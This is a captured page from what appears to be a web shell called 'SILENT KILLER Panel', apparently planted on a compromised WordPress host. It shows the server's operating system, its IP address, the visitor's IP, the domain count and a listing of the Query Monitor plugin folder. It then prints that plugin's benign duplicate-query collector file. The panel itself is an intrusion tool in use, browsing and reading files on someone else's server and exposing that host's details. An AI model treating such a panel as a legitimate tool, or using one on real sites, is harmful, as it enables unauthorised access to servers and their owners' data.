SILENT KILLERPanel

Current Path: > home > transcarter > > www > > wp-content > plugins > query-monitor > > collectors


Operation   : Linux host59.registrar-servers.com 4.18.0-513.18.1.lve.2.el8.x86_64 #1 SMP Sat Mar 30 15:36:11 UTC 2024 x86_64
Software     : Apache
Server IP    : 198.54.126.42 | Your IP: 216.73.216.135
Domains      : 1034 Domain(s)
Permission   : [ 0755 ]

Files and Folders in: /home/transcarter//www//wp-content/plugins/query-monitor//collectors

NameTypeSizeLast ModifiedActions
admin.php File 3426 bytes July 17 2025 21:05:45.
assets_scripts.php File 1215 bytes July 17 2025 21:05:45.
assets_styles.php File 862 bytes July 17 2025 21:05:45.
block_editor.php File 5528 bytes July 17 2025 21:05:45.
cache.php File 3576 bytes July 17 2025 21:05:45.
caps.php File 7352 bytes July 17 2025 21:05:45.
conditionals.php File 2803 bytes July 17 2025 21:05:45.
db_callers.php File 1140 bytes July 17 2025 21:05:45.
db_components.php File 1175 bytes July 17 2025 21:05:45.
db_dupes.php File 3498 bytes July 17 2025 21:05:45.
db_queries.php File 6415 bytes July 17 2025 21:05:45.
debug_bar.php File 2757 bytes July 17 2025 21:05:45.
doing_it_wrong.php File 12778 bytes July 17 2025 21:05:45.
environment.php File 9074 bytes July 17 2025 21:05:45.
hooks.php File 2019 bytes July 17 2025 21:05:45.
http.php File 11557 bytes July 17 2025 21:05:45.
languages.php File 7552 bytes July 17 2025 21:05:45.
logger.php File 7945 bytes July 17 2025 21:05:45.
multisite.php File 1631 bytes July 17 2025 21:05:45.
overview.php File 2845 bytes July 17 2025 21:05:45.
php_errors.php File 15565 bytes July 17 2025 21:05:45.
raw_request.php File 2424 bytes July 17 2025 21:05:45.
redirects.php File 1365 bytes July 17 2025 21:05:45.
request.php File 7325 bytes July 17 2025 21:05:45.
theme.php File 17934 bytes July 17 2025 21:05:45.
timing.php File 4448 bytes July 17 2025 21:05:45.
transients.php File 3010 bytes July 17 2025 21:05:45.

Reading File: /home/transcarter//www//wp-content/plugins/query-monitor//collectors/db_dupes.php

<?php declare(strict_types = 1);
/**
 * Duplicate database query collector.
 *
 * @package query-monitor
 */

if ( ! defined( 'ABSPATH' ) ) {
	exit;
}

/**
 * @extends QM_DataCollector<QM_Data_DB_Dupes>
 */
class QM_Collector_DB_Dupes extends QM_DataCollector {

	public $id = 'db_dupes';

	public function get_storage(): QM_Data {
		return new QM_Data_DB_Dupes();
	}

	/**
	 * @return void
	 */
	public function process() {
		/** @var QM_Collector_DB_Queries|null $dbq */
		$dbq = QM_Collectors::get( 'db_queries' );

		if ( ! $dbq ) {
			return;
		}

		/** @var QM_Data_DB_Queries $dbq_data */
		$dbq_data = $dbq->get_data();

		if ( empty( $dbq_data->dupes ) ) {
			return;
		}

		// Filter out SQL queries that do not have dupes
		$this->data->dupes = array_filter( $dbq_data->dupes, array( $this, 'filter_dupe_items' ) );

		// Ignore dupes from `WP_Query->set_found_posts()`
		unset( $this->data->dupes['SELECT FOUND_ROWS()'] );

		$stacks = array();
		$callers = array();
		$components = array();
		$times = array();

		// Loop over all SQL queries that have dupes
		foreach ( $this->data->dupes as $sql => $query_ids ) {

			// Loop over each query
			foreach ( $query_ids as $query_id ) {

				if ( isset( $dbq_data->rows[ $query_id ]['trace'] ) ) {
					/** @var QM_Backtrace */
					$trace = $dbq_data->rows[ $query_id ]['trace'];
					$stack = array_column( $trace->get_filtered_trace(), 'id' );
					$component = $trace->get_component();

					// Populate the component counts for this query
					if ( isset( $components[ $sql ][ $component->name ] ) ) {
						$components[ $sql ][ $component->name ]++;
					} else {
						$components[ $sql ][ $component->name ] = 1;
					}
				} else {
					/** @var array<int, string> */
					$stack = $dbq_data->rows[ $query_id ]['stack'];
				}

				// Populate the caller counts for this query
				if ( isset( $callers[ $sql ][ $stack[0] ] ) ) {
					$callers[ $sql ][ $stack[0] ]++;
				} else {
					$callers[ $sql ][ $stack[0] ] = 1;
				}

				// Populate the stack for this query
				$stacks[ $sql ][] = $stack;

				// Populate the time for this query
				if ( isset( $times[ $sql ] ) ) {
					$times[ $sql ] += $dbq->data->rows[ $query_id ]['ltime'];
				} else {
					$times[ $sql ] = $dbq->data->rows[ $query_id ]['ltime'];
				}
			}

			// Get the callers which are common to all stacks for this query
			$common = call_user_func_array( 'array_intersect', $stacks[ $sql ] );

			// Remove callers which are common to all stacks for this query
			foreach ( $stacks[ $sql ] as $i => $stack ) {
				$stacks[ $sql ][ $i ] = array_values( array_diff( $stack, $common ) );

				// No uncommon callers within the stack? Just use the topmost caller.
				if ( empty( $stacks[ $sql ][ $i ] ) ) {
					$stacks[ $sql ][ $i ] = array_keys( $callers[ $sql ] );
				}
			}

			// Wave a magic wand
			$sources[ $sql ] = array_count_values( array_column( $stacks[ $sql ], 0 ) );

		}

		if ( ! empty( $sources ) ) {
			$this->data->dupe_sources = $sources;
			$this->data->dupe_callers = $callers;
			$this->data->dupe_components = $components;
			$this->data->dupe_times = $times;
		}

	}
}

/**
 * @param array<string, QM_Collector> $collectors
 * @param QueryMonitor $qm
 * @return array<string, QM_Collector>
 */
function register_qm_collector_db_dupes( array $collectors, QueryMonitor $qm ) {
	$collectors['db_dupes'] = new QM_Collector_DB_Dupes();
	return $collectors;
}

add_filter( 'qm/collectors', 'register_qm_collector_db_dupes', 25, 2 );

SILENT KILLER Tool